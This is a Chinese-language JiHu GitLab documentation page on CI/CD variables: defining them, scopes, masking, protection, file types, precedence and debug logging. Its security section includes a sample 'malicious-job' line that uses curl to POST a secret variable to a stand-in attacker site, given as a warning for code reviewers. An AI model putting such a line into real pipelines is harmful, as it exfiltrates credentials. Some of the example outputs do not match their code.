极狐GitLab CI/CD 变量

CI/CD 变量是一种环境变量。 您可以将它们用于:

  • 控制作业和流水线
  • 存储要重复使用的值。
  • 避免在您的 .gitlab-ci.yml 文件中硬编码值。

您可以为特定流水线手动覆盖变量值,或让它们在手动流水线中预填入

变量名称受限于 runner 使用的 shell 来执行脚本。每个 shell 都有自己的一组保留变量名称。

为确保一致的行为,您应该始终将变量值放在单引号或双引号中。变量由 Psych YAML 解析器进行内部解析,因此引用变量和未引用变量的解析方式可能不同。例如,VAR1: 012345 被解析为八进制值,因此值变为 5349,但 VAR1: "012345" 被解析为值为 012345 的字符串。

预定义 CI/CD 变量

极狐GitLab CI/CD 使一组预定义的 CI/CD 变量可用于流水线配置和作业脚本。这些变量包含有关作业、流水线的信息,以及流水线被触发或运行时您可能需要的其他值。

您可以在 .gitlab-ci.yml 中使用预定义的 CI/CD 变量,而无需先声明它们。

例如:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

此示例中的脚本输出 The job's stage is 'test'

.gitlab-ci.yml 文件中定义 CI/CD 变量

要在 .gitlab-ci.yml 文件中创建自定义变量,请使用 variables 关键字定义变量和值。

保存在 .gitlab-ci.yml 文件中的变量对所有有权访问仓库的用户可见,并且应该只存储非敏感的项目配置。例如,保存在 DATABASE_URL 变量中的数据库的 URL。包含 secret 或密钥等值的敏感变量应该存储在项目设置中

您可以在如下情况中定义 variables

  • 作业:变量仅在作业的 scriptbefore_scriptafter_script 部分中可用,以及某些 作业关键字
  • .gitlab-ci.yml 文件的顶层:变量作为所有流水线作业的默认值可用,除非作业定义具有相同名称的变量。作业的变量优先。

在这两种情况下,您不能用全局关键字使用这些变量。

例如:

variables:
  ALL_JOBS_VAR: "A default variable"

job1:
  variables:
    JOB1_VAR: "Job 1 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"

job2:
  variables:
    ALL_JOBS_VAR: "Different value than default"
    JOB2_VAR: "Job 2 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"

在此示例中:

  • job1 输出 Variables are 'A global variable' and 'A job variable'
  • job2 输出 Variables are 'A global variable' and ''

使用 valuedescription 关键字来定义预填入的变量,用于手动触发的流水线

在单个作业中跳过全局变量

如果您不想在作业中使用全局定义的变量,请将 variables 设置为 {}

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

在 UI 中定义 CI/CD 变量

敏感变量诸如令牌和秘密应该存储在 UI 上的设置中,而不是在 .gitlab-ci.yml 文件中。要在 UI 上添加 CI/CD 变量:

相对地,这些变量也可以通过 API 添加:

默认情况下,派生项目的流水线无法访问父项目可用的 CI/CD 变量。如果您在父项目中为来自 fork 的合并请求运行合并请求流水线,所有变量都可用于流水线。

对于一个项目

  • 引入于 15.7 版本,项目最多可以定义 200 个 CI/CD 变量。
  • 更新于 15.9 版本,项目最多可以定义 8000 个 CI/CD 变量。

您可以将 CI/CD 变量添加到项目的设置中。

先决条件:

  • 您必须是具有维护者角色的项目成员。

要在项目设置中添加或更新变量:

  1. 在左侧导航栏,选择 搜索或前往 并找到您的项目。
  2. 选择 设置 > CI/CD
  3. 展开 变量
  4. 选择 添加变量 并填写详细信息:

    • :必须是一行,不能有空格,只能使用字母、数字或_
    • :没有限制。
    • 类型Variable(默认)或 File
    • 环境范围:可选。All,或特定环境
    • 保护变量:可选。如果选中,该变量仅在受保护分支或标签上运行的流水线中可用。
    • 可见性:选择 可见性(默认)、隐藏屏蔽和隐藏(仅适用于新变量)。

创建变量后,您就可以在流水线配置或作业脚本中使用它。

对于群组

  • 引入于 15.7 版本,群组最多可以定义 200 个 CI/CD 变量。
  • 更新于 15.9 版本,群组最多可以定义 30000 个 CI/CD 变量。

您可以使 CI/CD 变量可用于群组中的所有项目。

先决条件:

  • 您必须是具有所有者角色的群组成员。

添加群组变量:

  1. 在导航栏左侧,选择 搜索或前往 并找到您的群组。
  2. 选择 设置 > CI/CD
  3. 展开 变量
  4. 选择 添加变量 并填写详细信息:

    • :必须是一行,不能有空格,只能使用字母、数字或_
    • :没有限制。
    • 类型Variable(默认)或 File
    • 环境范围:可选。All,或特定环境
    • 保护变量:可选。如果选中,该变量仅在受保护分支或标签上运行的流水线中可用。
    • 可见性:选择 可见性(默认)、隐藏屏蔽和隐藏(仅适用于新变量)。

项目中可用的群组变量列在项目的 设置 > CI/CD > 变量 部分。来自子群组的变量被递归继承。

环境范围

要想设置仅为特定环境可见的 CI/CD 变量:

  1. 在左侧边栏中,选择 搜索或前往 并找到您的群组。
  2. 选择 设置 > CI/CD
  3. 展开 变量
  4. 在变量右侧,选择 编辑 ( )。
  5. 对于 环境范围,选择 所有(默认) (*)、特定 环境 或通配符 环境范围

对于实例

您可以使 CI/CD 变量可用于极狐GitLab 实例中的所有项目和群组。

先决条件:

  • 您必须具有实例的管理员访问权限。

添加实例变量:

  1. 在左侧边栏中,选择 搜索或转到
  2. 选择 管理中心
  3. 在左侧边栏中,选择 设置 > CI/CD 并展开 变量 部分。
  4. 选择 添加变量 并填写详细信息:

    • :必须是一行,不能有空格,只能使用字母、数字或_
    • :在 13.3 及更高版本中,允许 10,000 个字符。这也受所选 runner 操作系统的限制。在 13.0 到 13.2 中,允许 700 个字符。
    • 类型Variable(默认)或 File
    • 保护变量:可选。如果选中,该变量仅在受保护分支或标签上运行的流水线中可用。
    • 可见性:选择 可见性(默认)、隐藏屏蔽和隐藏(仅适用于新变量)。

CI/CD 变量安全

推送到您的 .gitlab-ci.yml 文件的恶意代码可能会危及您的变量并将它们发送到第三方服务器,而不管隐藏设置如何。如果流水线在受保护分支受保护标签上运行,恶意代码可能会损害受保护的变量。

在您执行以下操作之前,查看所有对 .gitlab-ci.yml 文件引入更改的合并请求:

  • 在父项目中,为从派生项目提交的合并请求运行流水线
  • 合并更改

在添加文件或针对它们运行流水线之前,请查看导入项目的 .gitlab-ci.yml 文件。

以下示例显示了 .gitlab-ci.yml 文件中的恶意代码:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

为了帮助降低通过 accidental-leak-job 等脚本意外泄露机密的风险,所有包含敏感信息的变量都应该在作业日志中隐藏。 您还可以将变量限制为仅适用于受保护的分支和标签

相对地,您可以使用极狐GitLab 的原生集成将密钥存储在第三方密钥管理器中,然后在流水线中获取它们:

您还可以为密钥管理器使用 OpenID Connect (OIDC) 认证,但是这并没有原生集成。

诸如 malicious-job 的恶意脚本必须在审核过程中被捕获。当审核者发现这样的代码时,一定不要触发流水线,因为恶意代码可以破坏受保护的变量。

使用 aes-256-cbc 加密的变量值存储在数据库中。此数据仅能由由有效机密文件的用户读取和解密。

隐藏 CI/CD 变量

caution 隐藏 CI/CD 变量并不能保证防止恶意用户访问变量值。隐藏功能是“尽力而为”的,可以在意外泄露变量时提供帮助。为了使变量更安全,请考虑使用外部 secrets文件类型变量 来防止例如 env/ printenv 的命令打印 secret 变量。

您可以隐藏项目、群组或实例 CI/CD 变量,以便该变量的值不会显示在作业日志中。

先决条件:

隐藏变量:

  1. 在群组、项目或 管理员 区域,选择 设置 > CI/CD
  2. 展开 变量
  3. 在要保护的变量旁边,选择 编辑
  4. 选中 隐藏变量 复选框。
  5. 选择 更新变量

用于隐藏变量的方法限制了可以包含在隐藏变量中的内容。变量的值必须:

  • 必须是没有空格的单行。
  • 不能少于 8 个字符。
  • 不能与既有预定义变量或自定义 CI/CD 变量的名称匹配。
  • 不能包含除 @_-:+ 之外的非字母数字字符。

隐藏的变量会在作业日志中自动隐藏其值。如果另外变量具有相同的值,该值也会被隐藏,包括当一个变量引用一个被隐藏的变量时。字符串 [MASKED] 代替值显示,可能带有一些尾随 x 字符。

不同版本的极狐GitLab Runner 有不同的隐藏限制:

开始版本 结束版本 限制
v11.9.0 v14.1.0 大型 secrets(大于 4 KiB)的隐藏可能会被泄露。没有敏感的 URL 参数隐藏。
v14.2.0 v15.3.0 大型 secrets(大于 4 KiB)的 tails 可能会被泄露。没有敏感的 URL 参数隐藏。
v15.7.0   启用 CI_DEBUG_SERVICES 时可能会泄露 secrets。有关详细信息,请阅读服务容器日志记录
v14.1.0 及早期版本 大型 secrets(大于 4 KiB)的隐藏可能会被泄露。没有敏感的 URL 参数隐藏。  
v14.2.0 到 v15.3.0 大型 secrets(大于 4 KiB)的 tails 可能会被泄露。没有敏感的 URL 参数隐藏。  
v15.7.0 及以后版本 启用 CI_DEBUG_SERVICES 时可能会泄露 secrets。有关详细信息,请阅读服务容器日志记录  

隐藏 CI/CD 变量

  • 引入于极狐GitLab 17.4,并使用名为 ci_hidden_variables。默认启用。
  • 在极狐GitLab 17.6 中 GA。功能标志 ci_hidden_variables 被移除。

除了隐藏,您还可以防止在 CI/CD 设置页面上显示 CI/CD 变量的值。仅在创建新变量时才可隐藏变量,无法将现有变量更新为隐藏。

先决条件:

要隐藏变量,当您在 UI 上添加新的 CI/CD 变量时,在 可见性 中选择 掩码和隐藏。当您保存变量后,就可以在 CI/CD 流水线中使用该变量了,但不能在 UI 中再次显示该变量。

保护 CI/CD 变量

您可以将项目、群组或实例 CI/CD 变量配置为仅可用于受保护分支受保护标签

合并结果流水线在临时合并提交上运行,而不是分支或标签,无法访问这些变量。 合并请求流水线不使用临时合并提交,如果分支是受保护的分支,则可以访问这些变量。

先决条件:

要将变量标记为受保护:

  1. 在项目、群组或实例中,转到 设置 > CI/CD
  2. 展开 变量
  3. 在要保护的变量旁边,选择 编辑
  4. 选中 保护变量 复选框。
  5. 选择 更新变量

该变量可用于所有后续流水线。

使用文件类型 CI/CD 变量

所有预定义的 CI/CD 变量和 .gitlab-ci.yml 文件中定义的变量都是 Variable 类型。项目、群组和实例 CI/CD 变量可以是 VariableFile 类型。

Variable 类型变量:

  • 由键值对组成。
  • 在作业中作为环境变量提供,具有:
    • CI/CD 变量键作为环境变量名称。
    • CI/CD 变量值作为环境变量值。

对于需要文件作为输入的工具,使用 File 类型的 CI/CD 变量。

项目、群组和实例 CI/CD 变量默认为 Variable 类型,但可以可选地设置为 File 类型(API 中 variable_typefile)。File 类型变量:

  • 由键、值和文件组成。
  • 在作业中作为环境变量提供,具有:
    • CI/CD 变量键作为环境变量名称。
    • 保存到临时文件的 CI/CD 变量值。
    • 作为环境变量值的临时文件的路径。

一些工具,如 AWS CLIkubectl 使用 File 类型变量进行配置。

例如,如果您有以下变量:

  • 具有 KUBE_URL 键的变量,值为 https://example.com
  • 具有 KUBE_CA_PEM 键的文件类型变量,证书作为值。

在作业脚本中使用变量,如下所示:

KUBE_URL 作为 --server 选项,它接受一个变量,将 $KUBE_CA_PEM 作为 --certificate-authority 选项,它接受一个文件的路径:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
caution 将文件变量的值分配给另一个变量时要小心。另一个变量将文件的内容作为其值,不是文件的路径。

使用 .gitlab-ci.yml 变量作为文件类型变量

您不能将.gitlab-ci.yml 文件中定义的 CI/CD 变量设置为文件类型变量。如果您有一个需要输入文件路径的工具,但您想使用在 .gitlab-ci.yml 中定义的变量:

  • 运行将变量值保存在文件中的命令。
  • 将该文件与您的工具一起使用。

例如:

variables:
  SITE_URL: "https://example.gitlab.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

在作业脚本中使用 CI/CD 变量

所有 CI/CD 变量都设置为作业环境中的环境变量。 您可以在作业脚本中使用每个环境 shell 的标准格式的变量。

要访问环境变量,请使用 runner executor’s shell 的语法。

使用 Bash、sh 和类似的变量

要访问 Bash、sh 和类似 shell 中的环境变量,请在 CI/CD 变量前加上 ($):

job_name:
  script:
    - echo "$CI_JOB_ID"

在 PowerShell 中使用变量

要访问 Windows PowerShell 环境中的变量,包括系统设置的环境变量,请在变量名前加上 ($env:) 或 ($):

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

在某些情况下,环境变量必须用引号括起来才能正确扩展:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

在 Windows Batch 中使用变量

要在 Windows Batch 中访问 CI/CD 变量,请用 % 将变量括起来:

job_name:
  script:
    - echo %CI_JOB_ID%

您还可以用 ! 将变量括起来以表示延迟扩展。 包含空格或换行符的变量可能需要延迟扩展。

job_name:
  script:
    - echo !ERROR_MESSAGE!

在服务容器中使用变量

服务容器可以使用 CI/CD 变量,但默认只能访问保存在.gitlab-ci.yml文件中的变量

默认情况下,在极狐GitLab UI 中设置的变量不可用于服务容器。要使 UI 定义的变量在服务容器中可用,请在 .gitlab-ci.yml 中重新分配它:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

将环境变量传递给另一个作业

您可以在稍后阶段将环境变量从一个作业传递到另一个作业。 这些变量不能用作 CI/CD 变量来配置流水线,但可以在作业脚本中使用。

将作业创建的环境变量传递给其他作业:

  1. 在作业脚本中,将变量保存为 .env 文件。
    • 文件的格式必须是每行一个变量定义。
    • 每行的格式必须为:VARIABLE_NAME=ANY VALUE HERE
    • 值可以用引号引起来,但不能包含换行符。
  2. .env 文件保存为 artifacts:reports:dotenv 产物。
  3. 然后,后期阶段的作业可以 在脚本中使用变量

例如:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job'

dotenv 报告中的变量优先于某些类型的新变量定义,例如作业定义的变量。

您还可以dotenv 变量传递给下游流水线

控制哪些作业接收 dotenv 变量

您可以使用 dependenciesneeds 关键字来控制哪些作业接收 dotenv 产物。

设置没有来自 dotenv 产物的环境变量:

  • 传递一个空的 dependenciesneeds 数组。
  • needs:artifacts 作为 false 传递。
  • needs 设置为仅列出没有 dotenv 产物的作业。

例如:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    - build-job2

在一个变量中存储多个值

无法创建作为值数组的 CI/CD 变量,但您可以使用 shell 脚本技术实现类似的行为。

例如,您可以在一个变量中存储由空格分隔的多个变量,然后使用脚本循环遍历这些值:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

script 部分传递环境变量到同一作业中的其他部分

使用 $GITLAB_ENV 将在 script 部分中定义的环境变量传递到同一作业中的其他部分。

例如:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

要想还在其他 stage 中引用变量,将变量写入 $GITLAB_ENV.env 文件:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee -a $GITLAB_ENV >> build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

在一个变量中存储多个值

您无法创建值数组的 CI/CD 变量,但您可以使用 shell 脚本技术实现类似的行为。

比如,您可以将多个值存储在变量中,然后使用脚本循环遍历这些值:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

作为字符的一部分

您可以使用变量作为字符串的一部分。您可以将变量括在大括号 ({}) 中,以帮助区分变量名和周围的文本。没有大括号,在变量名旁边的文本会被解释为变量名的一部分。例如:

job:
  variables:
    FLAGS: '-al'
    DIR: 'path/to/directory'
    LS_CMD: 'ls "$FLAGS"'
    CD_CMD: 'cd "${DIR}_files"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'
    - 'eval "$CD_CMD"'  # Executes 'cd path/to/directory_files'

在其他变量中使用变量

您可以在其他变量中使用变量:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

在变量中使用 $ 字符

如果您不想将 $ 字符解释为变量的开头,请改用 $$

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

阻止 CI/CD 变量展开

  • 引入于 15.7 版本。

扩展变量将带有 $ 字符的值视为对另一个变量的引用。CI/CD 变量默认展开。要将带有 $ 字符的变量认为原字符,为变量禁用变量展开。

先决条件:

  1. 在项目或群组中,转到 设置 > CI/CD
  2. 展开 变量 部分。
  3. 在您不想展开的变量旁边,选择 编辑
  4. 清除 展开变量 复选框。
  5. 选择 更新变量

CI/CD 变量优先级

您可以在不同的地方使用具有相同名称的 CI/CD 变量,但这些值可以相互覆盖。变量的类型及其定义位置决定了哪些变量优先。

变量的优先顺序是(从高到低):

  1. 流水线执行策略变量
  2. 扫描执行策略变量
  3. 流水线变量. These variables all have the same precedence:
  4. 项目变量
  5. 群组变量。如果在群组和其子群组中存在相同名称的变量,作业将使用最近子群组中定义的值。例如,如果您有 Group > Subgroup 1 > Subgroup 2 > Project,则 Subgroup 2 中定义的变量将优先。
  6. 实例变量.
  7. dotenv 报告的变量
  8. 作业变量,定义在 .gitlab-ci.yml 文件中的作业中。
  9. 所有作业的默认变量,定义在 .gitlab-ci.yml 文件的顶层。
  10. 部署变量
  11. 预定义变量

例如:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

在此示例中,job1 输出 The variable is 'secure',因为在 .gitlab-ci.yml 文件中定义的作业变量的优先级高于默认变量。

使用流水线变量

流水线变量是在运行新流水线时指定的变量。

先决条件:

  • 您必须具有项目中的开发者角色。

当您遇到如下情况下您可以指定流水线变量:

这些变量具有更高优先级 并可以覆盖其他定义的变量,包括预定义变量

caution 您应该避免在大多数情况下覆盖预定义变量,因为这可能导致流水线行为异常。

限制流水线变量

您可以限制谁可以使用流水线变量来运行流水线。要对流水线变量的使用限定为仅需维护者角色或更高角色:

  • 使用 projects API 启用 restrict_user_defined_variables 设置。设置 disabled 默认禁用。

当具有开发者角色或更低的用户尝试使用流水线变量,他们将收到 Insufficient permissions to set pipeline variables 错误消息。

如果您在不同的仓库中存储您的 CI/CD 配置,请使用此设置来控制流水线运行的环境。

为流水线变量设置最小橘色

  • 引入于极狐GitLab 17.1。
  • 对 JihuLab.com,在新命名空间中为所有新项目设置了默认值 enabledrestrict_user_defined_variablesno_one_allowedci_pipeline_variables_minimum_override_role 在极狐GitLab 17.7 中。

先决条件:

  • 您必须具有项目的维护者角色。如果之前的角色设置为 ownerno_one_allowed,则您必须具有项目的所有者角色。

To change the setting, use the projects API to set ci_pipeline_variables_minimum_override_role to one of:

  • no_one_allowed: No pipelines can run with pipeline variables. Default for new projects in new namespaces on GitLab.com.
  • owner: Only users with the Owner role can run pipelines with pipeline variables. You must have the Owner role for the project to change the setting to this value.
  • maintainer: Only users with at least the Maintainer role can run pipelines with pipeline variables. Default when not specified on self-managed and Dedicated.
  • developer: Only users with at least the Developer role can run pipelines with pipeline variables.

要修改设置,使用项目 APIci_pipeline_variables_minimum_override_role 设置为:

  • no_one_allowed: 任何流水线都不能使用流水线变量运行。这是 JihuLab.com 上新命名空间中所有新项目的默认值。
  • owner: 只有具有所有者角色的用户才能使用流水线变量运行流水线。您必须具有项目的所有者角色才能够修改此设置的值。
  • maintainer: 只有具有至少维护者角色的用户才能使用流水线变量运行流水线。这是私有化部署的默认值。
  • developer: 只有具有至少开发者角色的用户才能使用流水线变量运行流水线。

导出变量

在单独的 shell 上执行的脚本不共享导出、别名、本地函数定义或任何其他本地 shell 更新。

这意味着如果作业失败,则用户定义的脚本创建的变量不会导出。

当 runner 执行作业定义在 .gitlab-ci.yml 文件中:

  • before_script 和主脚本中指定的脚本一起执行在单个 shell 上下文中,并且是串联在一起的。
  • after_script 中指定的脚本在与 before_script 和指定脚本完全分离的 shell 上下文中运行。

不管脚本在哪个 shell 上执行,runner 输出包括:

  • 预定义变量。
  • 定义在下面中的变量:
    • 实例、群组或项目 CI/CD 设置中。
    • .gitlab-ci.yml 文件中的 variables 部分。
    • .gitlab-ci.yml 文件中的 secrets 部分。
    • config.toml

runner 无法处理手动导出、shell 别名和函数在脚本的主体中执行,例如 export MY_VARIABLE=1

比如,在下面的 .gitlab-ci.yml 文件中,定义了以下脚本:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

但 runner 执行作业时:

  1. before_script 执行:
    1. 打印到输出。
    2. 定义 MY_VARIABLE 变量。
  2. script 执行:
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE 的值。
    3. 打印 CI_COMMIT_SHA 的值。
    4. 打印 MY_VARIABLE 的值。
  3. after_script 在单独的 shell 上下文中执行:
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE 的值。
    3. 打印 CI_COMMIT_SHA 的值。
    4. 打印 MY_VARIABLE 的值为空。因为 after_script 在单独的 shell 上下文中执行,所以无法检测到变量值。

相关主题

故障排除

列出所有环境变量

您可以使用 Bash 中的 export 命令或 PowerShell 中的 dir env: 列出脚本可用的所有环境变量。这暴露了所有可用变量的值,可能是一个安全风险隐藏变量显示为 [masked]

例如:

job_name:
  script:
    - export
    # - 'dir env:'  # Use this for PowerShell

作业日志输出示例:

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
...

启用 Debug 日志

caution Debug 日志记录可能是一个严重的安全风险。输出包含作业可用的所有变量和其他 secret 的内容。输出上传到 GitLab 服务器并在作业日志中可见。

您可以使用 Debug 日志来帮助解决流水线配置或作业脚本的问题。Debug 日志公开了通常被 runner 隐藏的作业执行细节,并使作业日志更加详细。它还公开了作业可用的所有变量和 secret。

在启用 Debug 日志记录之前,请确保只有团队成员可以查看作业日志。在再次公开日志之前,您还应该删除作业日志和 Debug 输出。

要启用 Debug 日志记录(跟踪),请将 CI_DEBUG_TRACE 变量设置为 true

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

示例输出(截取):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
